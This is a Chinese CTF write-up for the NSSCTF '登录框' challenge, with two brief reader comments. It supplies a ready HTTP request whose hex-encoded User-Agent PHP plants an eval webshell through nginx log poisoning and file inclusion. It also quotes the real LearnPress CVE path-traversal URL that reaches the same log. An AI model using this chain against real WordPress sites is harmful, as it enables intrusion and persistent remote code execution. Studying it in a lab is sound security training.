Problem: [Tike00]登录框
本题很大份,不建议不看wp就做,很难做出来。在看完官方wp后复现的时候,并且没有vip可以随意改题目容器的情况下。建议一进去就上一个马子上去,用蚁剑连上,也就是我给的payload,这个payload可以直接丢进yakit里面将Host换成你自己的靶机即可
POST /123123123 HTTP/1.1 Host: node1.anna.nssctf.cn:28338 Content-Type: application/x-www-form-urlencoded Referer: http://node1.anna.nssctf.cn:28338/ Origin: http://node1.anna.nssctf.cn:28755 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Upgrade-Insecure-Requests: 1 User-Agent: <?php system(hex2bin('6563686f20223c3f70687020406576616c285c245f504f53545b315d293b706870696e666f28293b3f3e22203e202f7661722f7777772f68746d6c2f77702d636f6e74656e742f636f6e6669672e7068703b'));?> Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cache-Control: max-age=0 Content-Length: 37
然后访问/file.php?file_path=/var/log/nginx/access.log 即可实现在./wp-content/config.php写上一个密码为1的一句话木马
主要原因是这个题的文件包含会先将部分特殊字符进行转义,也就是题目中的加上反斜杠。然后再进行包含,所以说一但你的payload没搞好,变成一个错误的php代码,就会发生报错,并且只有重启靶机清除日志里面的错误代码才能进行下一步操作
那么出题人是怎么想到出这种貌似反人类的题目呢?答案就是对于这个cve而言,出题人实战中遇到的环境就是这样的。这个CVE 实际上的payload是
/wp-json/lp/v1/courses/archive-course?template_path=..%2F..%2F..%2Fvar%2Flog%2Fnginx%2Faccess.log&return_type=html
这个接口返回的是一段json数据,估计转义是为了返回json数据时不会发生冲突或者被xss, 毕竟如果内容里面包含引号这种的会发生冲突。然后就是包含也是包含转义后的内容,并且不会将你UA带进去的php代码回显出来,其实相当于就是执行了嘛,并且不会有任何有关php的输出,像什么phpinfo、echo什么的都没有。现在想来感觉应该是类似沙盒这种,包含后把剩下的内容给你返回回来。 然后当时的情况还是日志文件一天轮换一次,也就是说你错一次要等一天才能进行下一次尝试。并且WordPress的框架通常来说当前目录都是写不了文件的,只能找一下wp-content/upload 这种目录写。 当时也是前前后后花了将近一周的时间才搞清楚。出题人太蠢了(噗
总的来说,这个题确实是大份,但是如果你要说出题人出的烂的话,那我就不认可你了哈。好吧,其实都行的,我也不在乎这个,只是看到有不少师傅被恶心到了,哈哈哈

upload_progress也能打
你确定这是这道题的wp?